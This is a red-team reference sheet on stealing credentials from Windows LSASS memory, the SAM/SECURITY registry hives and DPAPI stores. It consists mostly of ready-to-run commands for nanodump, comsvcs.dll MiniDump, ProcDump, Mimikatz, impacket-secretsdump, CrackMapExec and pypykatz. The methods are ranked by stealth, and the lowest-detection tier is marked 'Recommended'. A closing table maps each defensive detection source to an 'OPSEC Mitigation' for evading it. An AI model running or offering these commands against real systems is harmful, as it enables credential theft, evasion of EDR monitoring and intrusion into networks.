# LSASS Credential Dumping Techniques — Deep Reference

## Method Comparison

| Method | Disk Touch | Detection Risk | Requires Admin | Notes |
|--------|-----------|----------------|---------------|-------|
| Mimikatz sekurlsa::logonpasswords | No (in-memory) | HIGH (known signature) | Yes | Classic, heavily signatured |
| nanodump | No (direct syscalls) | LOW | Yes | Syscall-based, small footprint |
| comsvcs.dll MiniDump | Yes (dump file) | MEDIUM | Yes | LOLBAS, built-in Windows |
| ProcDump (SysInternals) | Yes (dump file) | LOW-MEDIUM | Yes | Signed Microsoft binary |
| Task Manager | Yes (dump file) | LOW | Yes (GUI) | Manual, requires RDP |
| PPLdump | No (in-memory) | MEDIUM | Yes | Bypasses PPL protection |
| HandleKatz | No (cloned handle) | LOW | Yes | Uses duplicated handles |

## Techniques by Stealth Level

### Tier 1: Lowest Detection (Recommended)

#### nanodump (Direct Syscalls)
```bash
# From Sliver/C2
execute-assembly nanodump.exe --write C:\temp\debug.dmp

# From CrackMapExec
nxc smb <TARGET> -u <USER> -p <PASS> -M nanodump

# Parse dump offline
pypykatz lsa minidump debug.dmp
```

#### comsvcs.dll (LOLBAS)
```powershell
# Find LSASS PID
tasklist /fi "imagename eq lsass.exe"

# Dump using rundll32 (built-in Windows binary)
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <LSASS_PID> C:\temp\debug.dmp full
```

### Tier 2: Moderate Detection

#### ProcDump (Signed Microsoft Binary)
```bash
# Direct dump
procdump.exe -accepteula -ma lsass.exe C:\temp\debug.dmp

# Clone LSASS first (evades some EDR)
procdump.exe -accepteula -r -ma lsass.exe C:\temp\debug.dmp
```

#### Mimikatz (In-Memory)
```
# From interactive session
privilege::debug
sekurlsa::logonpasswords

# Specific credential types
sekurlsa::msv          # NTLM hashes
sekurlsa::kerberos     # Kerberos tickets
sekurlsa::wdigest      # Plaintext (if WDigest enabled)
sekurlsa::dpapi        # DPAPI master keys
```

### Tier 3: Offline Analysis (Safest)

```bash
# Dump offline (from disk image or shadow copy)
# 1. Access SAM + SYSTEM + SECURITY hives
reg save HKLM\SAM C:\temp\sam
reg save HKLM\SYSTEM C:\temp\system
reg save HKLM\SECURITY C:\temp\security

# 2. Extract offline
impacket-secretsdump -sam sam -system system -security security LOCAL
```

## SAM/SECURITY Hive Extraction

```bash
# Remote extraction via Impacket
impacket-secretsdump <DOMAIN>/<USER>:<PASS>@<TARGET>

# CrackMapExec
nxc smb <TARGET> -u <USER> -p <PASS> --sam
nxc smb <TARGET> -u <USER> -p <PASS> --lsa

# Volume Shadow Copy (stealthier)
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\temp\
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\
```

## DPAPI Secrets

```bash
# SharpDPAPI — decrypt all user secrets
execute-assembly SharpDPAPI.exe triage

# Mimikatz
dpapi::chrome /in:"%localappdata%\Google\Chrome\User Data\Default\Login Data" /unprotect
dpapi::cred /in:C:\Users\<USER>\AppData\Roaming\Microsoft\Credentials\*
```

## Pypykatz (Offline Parsing)

```bash
# Parse minidump
pypykatz lsa minidump debug.dmp

# Parse registry hives
pypykatz registry --sam sam --system system --security security

# Output formats
pypykatz lsa minidump debug.dmp -o json > creds.json
pypykatz lsa minidump debug.dmp -o grep > creds.grep
```

## Detection Indicators

| Indicator | Detection Source | OPSEC Mitigation |
|-----------|-----------------|------------------|
| Access to lsass.exe process | Sysmon Event 10 | Use cloned handles, indirect access |
| MiniDumpWriteDump API | ETW/API hooks | Direct syscalls (nanodump) |
| Credential dump files on disk | File monitoring | In-memory only, pipe to C2 |
| reg.exe saving hives | Command-line logging | Use WMI or PowerShell |
| Mimikatz PE signature | AV/EDR static scan | Custom loader, reflective loading |
